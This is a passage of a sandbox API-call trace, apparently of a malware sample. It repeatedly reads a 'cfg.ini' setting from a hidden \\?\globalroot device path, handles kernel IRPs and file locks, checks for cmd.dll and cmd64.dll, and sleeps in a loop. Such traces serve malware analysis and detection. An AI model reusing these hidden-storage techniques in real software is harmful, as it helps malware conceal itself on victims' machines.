(hMutex=0xf0) returned 1 [0122.579] Sleep (dwMilliseconds=0x124f80) [0122.593] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.593] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.593] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.593] KeEnterCriticalRegion () [0122.594] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.594] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.594] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.594] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.594] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.594] IdePortDispatch () returned 0x103 [0122.594] KeWaitForMutexObject () returned 0x0 [0122.594] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.594] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.594] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.594] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.594] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.594] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be5e50 [0122.594] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.594] KeLeaveCriticalRegion () [0122.594] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.594] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.594] KeEnterCriticalRegion () [0122.594] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.594] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.594] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.594] KeLeaveCriticalRegion () [0122.594] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.594] KeEnterCriticalRegion () [0122.594] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.594] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.594] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.594] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.594] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.594] IdePortDispatch () returned 0x103 [0122.594] KeWaitForMutexObject () returned 0x0 [0122.595] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.595] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.595] KeLeaveCriticalRegion () [0122.595] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.595] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.595] KeEnterCriticalRegion () [0122.595] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.595] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cbd000 [0122.595] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.595] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.595] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.595] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.595] IdePortDispatch () returned 0x103 [0122.595] KeWaitForMutexObject () returned 0x0 [0122.595] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.595] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.595] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.595] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.595] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.595] IdePortDispatch () returned 0x103 [0122.595] KeWaitForMutexObject () returned 0x0 [0122.595] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.595] KeLeaveCriticalRegion () [0122.595] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.596] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.596] KeEnterCriticalRegion () [0122.596] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.596] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.596] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.596] KeLeaveCriticalRegion () [0122.596] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.596] KeEnterCriticalRegion () [0122.596] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.596] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.596] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4340, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.596] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.596] KeLeaveCriticalRegion () [0122.596] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.596] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.596] KeEnterCriticalRegion () [0122.596] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.596] ExFreePoolWithTag (P=0xfffffa8003be5e50, Tag=0x0) [0122.596] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.596] KeLeaveCriticalRegion () [0122.596] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.596] ReleaseMutex (hMutex=0xf0) returned 1 [0122.596] Sleep (dwMilliseconds=0x124f80) [0122.612] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.612] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.612] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.612] KeEnterCriticalRegion () [0122.612] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.612] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.612] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.612] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.612] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.612] IdePortDispatch () returned 0x103 [0122.612] KeWaitForMutexObject () returned 0x0 [0122.612] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.612] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.612] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.612] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.612] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.612] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be5da0 [0122.612] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.612] KeLeaveCriticalRegion () [0122.613] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.613] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.613] KeEnterCriticalRegion () [0122.613] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.613] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.613] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.613] KeLeaveCriticalRegion () [0122.613] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.613] KeEnterCriticalRegion () [0122.613] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.613] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.613] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.613] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.613] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.613] IdePortDispatch () returned 0x103 [0122.613] KeWaitForMutexObject () returned 0x0 [0122.613] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.613] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.613] KeLeaveCriticalRegion () [0122.613] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.613] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.613] KeEnterCriticalRegion () [0122.613] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.613] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc2000 [0122.613] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.613] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.613] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.613] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.613] IdePortDispatch () returned 0x103 [0122.613] KeWaitForMutexObject () returned 0x0 [0122.614] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.614] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.614] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.614] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.614] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.614] IdePortDispatch () returned 0x103 [0122.614] KeWaitForMutexObject () returned 0x0 [0122.614] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.614] KeLeaveCriticalRegion () [0122.614] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.614] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.614] KeEnterCriticalRegion () [0122.614] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.614] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.614] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.614] KeLeaveCriticalRegion () [0122.614] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.614] KeEnterCriticalRegion () [0122.614] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.614] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.615] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be6070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.615] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.615] KeLeaveCriticalRegion () [0122.615] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.615] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.615] KeEnterCriticalRegion () [0122.615] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.615] ExFreePoolWithTag (P=0xfffffa8003be5da0, Tag=0x0) [0122.615] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.615] KeLeaveCriticalRegion () [0122.615] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.615] ReleaseMutex (hMutex=0xf0) returned 1 [0122.615] Sleep (dwMilliseconds=0x124f80) [0122.628] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.628] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.628] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.628] KeEnterCriticalRegion () [0122.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.628] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.628] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.628] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.628] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.628] IdePortDispatch () returned 0x103 [0122.629] KeWaitForMutexObject () returned 0x0 [0122.629] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.629] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.629] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.629] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.629] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.629] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6c00 [0122.629] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.629] KeLeaveCriticalRegion () [0122.629] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.629] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.629] KeEnterCriticalRegion () [0122.629] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.629] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.629] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.629] KeLeaveCriticalRegion () [0122.629] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.629] KeEnterCriticalRegion () [0122.629] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.629] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.629] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.629] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.629] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.629] IdePortDispatch () returned 0x103 [0122.629] KeWaitForMutexObject () returned 0x0 [0122.629] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.629] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.629] KeLeaveCriticalRegion () [0122.629] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.630] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.630] KeEnterCriticalRegion () [0122.630] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.630] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc7000 [0122.630] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.630] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.630] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.630] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.630] IdePortDispatch () returned 0x103 [0122.630] KeWaitForMutexObject () returned 0x0 [0122.630] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.630] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.630] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.630] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.630] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.630] IdePortDispatch () returned 0x103 [0122.630] KeWaitForMutexObject () returned 0x0 [0122.630] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.630] KeLeaveCriticalRegion () [0122.630] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.631] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.631] KeEnterCriticalRegion () [0122.631] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.631] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.631] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.631] KeLeaveCriticalRegion () [0122.631] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.631] KeEnterCriticalRegion () [0122.631] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.631] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.631] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be59f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.631] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.631] KeLeaveCriticalRegion () [0122.631] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.631] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.631] KeEnterCriticalRegion () [0122.631] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.631] ExFreePoolWithTag (P=0xfffffa8003be6c00, Tag=0x0) [0122.631] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.631] KeLeaveCriticalRegion () [0122.631] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.631] ReleaseMutex (hMutex=0xf0) returned 1 [0122.631] Sleep (dwMilliseconds=0x124f80) [0122.635] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.641] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.641] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.641] KeEnterCriticalRegion () [0122.641] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.641] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.641] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.641] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.641] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.641] IdePortDispatch () returned 0x103 [0122.642] KeWaitForMutexObject () returned 0x0 [0122.642] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.642] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.642] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.642] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.642] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.642] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be5e50 [0122.642] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.642] KeLeaveCriticalRegion () [0122.642] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.642] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.643] KeEnterCriticalRegion () [0122.643] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.643] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.643] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.643] KeLeaveCriticalRegion () [0122.643] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 